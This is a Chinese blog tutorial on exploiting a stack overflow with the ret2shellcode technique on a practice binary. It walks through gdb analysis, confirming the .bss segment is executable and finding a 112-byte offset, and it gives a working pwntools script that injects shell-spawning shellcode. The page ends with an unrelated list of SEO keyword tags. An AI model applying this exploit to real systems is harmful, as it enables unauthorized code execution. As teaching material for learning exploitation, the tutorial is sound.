千家信息网

缓冲区溢出-基本ROP-ret2shellcode

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本文视频:如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514基础知识:ret2shellcode,即控制程序执行 shellcode 代码。shellcod
千家信息网最后更新 2026年10月31日缓冲区溢出-基本ROP-ret2shellcode

本文视频:
如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514

基础知识:

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

第一步:分析程序代码

使用gdb ./ret2shellcode加载程序,在命令行中输入checksec来查看启用的保护

可以发现没有启用任何保护

我们使用disass main来看下main函数的汇编代码

这里对strncpy函数做分析,strncpy的api为:char *strncpy(char *dest,char *src,int size_t);第一个参数是接收的变量,第二个是从那里复制,第三个是复制多少。经过分析第一个参数就是[esp],第二个参数是[esp+0x4],第三个参数是[esp+0x8],这样我们知道最终要复制的内容要放到[esp]中,而现在[esp]是0x804a080。

经过分析发现调用了gets函数和strncpy函数,其中gets函数存在溢出漏洞,但是该程序没有使用system("/bin/sh"),我们可以尝试让程序跳转到我们的shellcode中,也就是说gets函数接收的不再是普通的字符串而是我们构建好的shellcode。

我们看下0x804a080地址在哪里:

第一种方法:使用IDA

第二种方法:在gdb里运行readelf,或者在linux的shell里运行readelf -S xxx查看bss段位置

是一个BSS段,如果可以我们讲shellcode放到bss段中,然后将函数的返回值改为0x804a080,现在还缺少一个条件,就是bss段0x804a080是否有执行权限,我们断点调试下:

执行b main 进行断点

执行r 运行程序

执行vmmap查看是否有执行权限

0x804a080的区间是在标红的0x0804a000到0x0804b000,有x执行权限

第二步:查找程序溢出的偏移量

重新执行gdb ./ret2shellcode命令加载程序

执行pattern create 200创建字符串

执行 r运行

输入刚才创建的字符串

得到0x41384141地址,我们使用pattern offset 0x41384141来查看偏移

然后可以想到溢出代码:

from pwn import *

p = process('./ret2shellcode')

shellcode = asm(shellcraft.sh())

buf2_addr = 0x804a080

p.sendline(shellcode.ljust(112,'a') + p32(buf2_addr))

p.interactive()

#####

shellcode.ljust(112,'a')这段代码就是要讲shellcode不足112长度的地方用a来填充。

程序 代码 函数 运行 参数 权限 分析 字符 字符串 就是 方法 三个 功能 命令 地址 基础 断点 视频 保护 偏移 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技股 北京互联网科技公司 华宇互联网科技 苏州互联网科技贷款公司 菲比寻常互联网科技 青海省互联网新科技 须眉科技是互联网公司吗 宁波青枫互联网科技有限公司 世界互联网科技公司市值排名 广州市恰铎互联网科技有限公司 链环科技传统企业怎么转型互联网 互联网科技和信息 国大互联网教育科技有限公司工作 互联网科技创新的路径 四川慕妮娅互联网科技有限公司 明优互联网科技有限公司 伊宁互联网科技做什么的 图游互联网科技 广州有谷有贝互联网科技有限公司 广西泛欧互联网科技有限公司 互联网科技海报 互联网科技工作委员会 艾特科技互联网 中国最先进互联网科技公司 天速互联网络科技有限公司 燊美集互联网科技有限公司 互联网科技融合创新 湖北辰鑫科技互联网 北京互联网科技类企业分布 伍佰万互联网科技是干嘛的
0